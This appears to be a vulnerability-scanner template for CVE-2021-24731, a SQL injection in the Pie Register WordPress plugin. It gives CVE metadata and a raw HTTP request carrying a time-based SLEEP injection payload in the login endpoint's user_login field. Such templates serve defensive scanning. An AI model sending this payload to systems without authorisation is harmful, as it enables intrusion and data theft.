Pie Register < 3.7.1.6 - SQL Injection

id: CVE-2021-24731

info:
  name: Pie Register < 3.7.1.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
    - https://wordpress.org/plugins/pie-register/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24731
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24731
    cwe-id: CWE-89
    epss-score: 0.07542
    epss-percentile: 0.93776
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,pie-register,unauth,genetechsolutions,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-json/pie/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "User credentials are invalid.")'
        condition: and
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